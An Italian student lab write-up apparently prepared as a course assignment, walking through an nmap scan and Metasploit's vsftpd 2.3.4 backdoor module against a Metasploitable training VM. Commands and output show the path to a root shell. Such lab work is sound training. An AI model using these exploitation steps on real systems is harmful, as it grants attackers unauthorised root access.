Metasploit

Per exploit si intende un programma, script o codice che sfrutta le vulnerabilità di software e hardware per ottenere l'accesso a sistemi informatici.

Metasploit è un framework opensource che usato per lo sviluppo di exploist. Contiene più di 2000 exploits e 1300 payloads creati dalla community. Può essere utilizzato per creare e automatizzare i propri exploit.

Nella consegna di oggi lo utilizzerò per exploitare il servizio FTP della macchina metaspoitable.

Exploit del servizio FTP

Come prima cosa lancio nmap per vedere i servizi attivi. Il servizio FTP attivo ha come versione vsftpd 2.3.4, che è nota per avere una vulnerabilità, la CVE-2011-2523. Vsftpd è server FTP predefinito per sistemi Linux. FTP è un protocollo di trasferimento file tra server e client del livello applicativo. Non è un protocollo sicuro perché non prevede la crittografia dei dati trasferiti, al contrario di SFTP che utilizza un canale SSH crittografato.

```
└─$ nmap -sV 192.168.2.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 12:51 CET
Nmap scan report for 192.168.2.2
Host is up (0.030s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.08 seconds
```

Avvio la console con il comando msfconsole.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules

       =[ metasploit v6.3.50-dev                          ]
+ -- --=[ 2384 exploits - 1235 auxiliary - 417 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/
```

Dopo il caricamento cerco l'exploit per il servizio target. Il secondo fa al caso mio.

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
```

```
msf6 > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Con RHOSTS imposto l'ip del target. La porta target è di default la 21.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.2.2
RHOSTS ⇒ 192.168.2.2
```

Anche il payload è impostato di default perché è l'unico disponibile. Per motivi didattici comunque lo imposto con il comando set payload.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                      normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload ⇒ cmd/unix/interact
```

Bene! Metasploit è riuscito a trovare la shell e a connettersi sulla porta 6200.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.2.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.2.2:21 - USER: 331 Please specify the password.
[+] 192.168.2.2:21 - Backdoor service has been spawned, handling...
[+] 192.168.2.2:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.2:35387 → 192.168.2.2:6200) at 2024-01-15 13:12:48 +0100
```

Lancio ifconfig e l'indirizzo ip è quello del target.

```
[*] Command shell session 1 opened (192.168.1.2:35387 → 192.168.2.2:6200) at 2024-01-15 13:12:48 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:8b:d0:42
          inet addr:192.168.2.2  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe8b:d042/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1435 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1425 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:113950 (111.2 KB)  TX bytes:137815 (134.5 KB)
          Base address:0×d020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:443 errors:0 dropped:0 overruns:0 frame:0
          TX packets:443 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:168745 (164.7 KB)  TX bytes:168745 (164.7 KB)
```

Con pwd vedo che sono già nella directory root.

```
pwd
/
```

Quindi creo la directory come da traccia e con ls verifico sia stata correttamente creata.

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```